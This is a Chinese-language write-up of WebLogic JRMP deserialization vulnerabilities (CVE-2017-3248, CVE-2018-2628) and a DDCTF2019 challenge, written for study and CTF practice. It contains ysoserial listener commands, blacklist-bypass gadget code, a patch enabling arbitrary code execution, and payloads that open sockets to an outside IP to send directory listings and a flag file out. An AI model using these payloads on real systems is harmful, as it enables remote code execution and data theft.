JRMP安全问题分析-从CVE到CTF
字数 1056 2025-08-27 12:33:23

JRMP安全问题分析:从CVE到CTF实战

1. 环境搭建

version: '2'
services:
 weblogic:
   image: vulhub/weblogic
   ports:
     - "8453:8453"
     - "7001:7001"

调试环境配置:

  1. 修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
  2. if [ "${debugFlag}" = "true" ]前添加:
    debugFlag="true"
    expport debugFlag
    
  3. 重启服务并使用IDEA远程调试

2. 核心概念

2.1 JRMP协议

Java远程消息交换协议(Java Remote Messaging Protocol),是Java技术特有的、用于查找和引用远程对象的协议,运行在RMI之下、TCP/IP之上。

2.2 RMI

远程方法调用(Remote Method Invocation),J2SE的一部分,允许开发基于Java的分布式应用。RMI对象可以从另一个JVM(甚至跨网络)调用其方法。

3. CVE-2017-3248分析

攻击流程

  1. 启动JRMP监听器:
    java -cp ysoserial-exp.jar ysoserial.exploit.JRMPListener 9997 CommonsCollections1 "touch /tmp/exp"
    
  2. 发送攻击载荷:
    python exp.py 127.0.0.1 7001 ~/Desktop/漏洞环境/weblogic/ysoserial-exp.jar 10.13.66.158 9997 JRMPClient
    

关键代码分析

public Registry getObject(final String command) throws Exception {
    // 解析主机和端口
    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), 
        new Class[] { Registry.class }, obj);
    return proxy;
}

反序列化链

  1. RemoteObject.readObject被调用
  2. 触发UnicastRef.readExternal
  3. 建立到JRMP服务端的连接
  4. 进入DGC的dirty方法打通Client和Server

4. CVE-2018-2628绕过

官方防御

InboundMsgAbbrev.class中添加resolveProxyClass方法,禁止java.rmi.registry.Registry接口的反序列化。

绕过方法1:简化JRMPClient

public Object getObject(final String command) throws Exception {
    // 省略解析部分...
    ObjID id = new ObjID(new Random().nextInt());
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    return ref; // 直接返回UnicastRef,不使用代理
}

绕过方法2:使用其他接口(Activator)

public Activator getObject(final String command) throws Exception {
    // 省略解析部分...
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), 
        new Class[] { Activator.class }, obj);
    return proxy;
}

5. DDCTF2019 "再来一杯java"实战

漏洞点

存在反序列化操作,但使用了SerialKiller防御:

ObjectInputStream ois = new SerialKiller(bais, this.serialKillerConf.getConfig());

SerialKiller防御机制

通过重写ObjectInputStream.resolveClass方法实现黑名单机制,黑名单包含:

<regexp>java\.rmi\.registry\.Registry$</regexp>

攻击步骤

  1. 使用URLDNS Gadget测试:
    java -jar ysoserial.jar URLDNS "http://yourdnslog.com"
    
  2. 修改Gadgets.java支持代码执行:
    if(!command.startsWith("code:")){
        cmd = "java.lang.Runtime.getRuntime().exec(\"" +
        command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
        "\");";
    }
    else{
        cmd = command.substring(5);
    }
    
  3. 构造列目录payload:
    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9997 CommonsBeanutils1 'code:java.io.File file=new java.io.File("/");java.io.File[] fileLists = file.listFiles();java.net.Socket s = new java.net.Socket("74.120.175.101",9998);for (int i = 0; i < fileLists.length; i++) {java.io.OutputStream out = s.getOutputStream();out.write(fileLists[i].getName().getBytes());out.write("\n".getBytes());}s.close();'
    
  4. 读取flag:
    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9997 CommonsBeanutils1 'code:java.io.File file = new java.io.File("/flag/flag_7ArPnpf3XW8Npsmj");java.io.InputStream in = null;in = new java.io.FileInputStream(file);int tempbyte;java.net.Socket s = new java.net.Socket("74.120.175.101",9998);while ((tempbyte = in.read()) != -1) {java.io.OutputStream out = s.getOutputStream();out.write(tempbyte);}in.close();s.close();'
    

6. 防御建议

  1. 更新WebLogic到最新版本
  2. 限制T3协议的外部访问
  3. 使用更严格的反序列化过滤器
  4. 监控可疑的JRMP连接

7. 参考资源

  1. CVE-2015-4852 Weblogic反序列化RCE分析
  2. WebLogic JRMP反序列化漏洞分析
  3. Java RMI详解
  4. 动态代理机制
  5. JRMP反序列化深入分析
  6. SerialKiller绕过技术
JRMP安全问题分析:从CVE到CTF实战 1. 环境搭建 调试环境配置: 修改 /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh 在 if [ "${debugFlag}" = "true" ] 前添加: 重启服务并使用IDEA远程调试 2. 核心概念 2.1 JRMP协议 Java远程消息交换协议(Java Remote Messaging Protocol),是Java技术特有的、用于查找和引用远程对象的协议,运行在RMI之下、TCP/IP之上。 2.2 RMI 远程方法调用(Remote Method Invocation),J2SE的一部分,允许开发基于Java的分布式应用。RMI对象可以从另一个JVM(甚至跨网络)调用其方法。 3. CVE-2017-3248分析 攻击流程 启动JRMP监听器: 发送攻击载荷: 关键代码分析 反序列化链 RemoteObject.readObject 被调用 触发 UnicastRef.readExternal 建立到JRMP服务端的连接 进入DGC的dirty方法打通Client和Server 4. CVE-2018-2628绕过 官方防御 在 InboundMsgAbbrev.class 中添加 resolveProxyClass 方法,禁止 java.rmi.registry.Registry 接口的反序列化。 绕过方法1:简化JRMPClient 绕过方法2:使用其他接口(Activator) 5. DDCTF2019 "再来一杯java"实战 漏洞点 存在反序列化操作,但使用了SerialKiller防御: SerialKiller防御机制 通过重写 ObjectInputStream.resolveClass 方法实现黑名单机制,黑名单包含: 攻击步骤 使用URLDNS Gadget测试: 修改Gadgets.java支持代码执行: 构造列目录payload: 读取flag: 6. 防御建议 更新WebLogic到最新版本 限制T3协议的外部访问 使用更严格的反序列化过滤器 监控可疑的JRMP连接 7. 参考资源 CVE-2015-4852 Weblogic反序列化RCE分析 WebLogic JRMP反序列化漏洞分析 Java RMI详解 动态代理机制 JRMP反序列化深入分析 SerialKiller绕过技术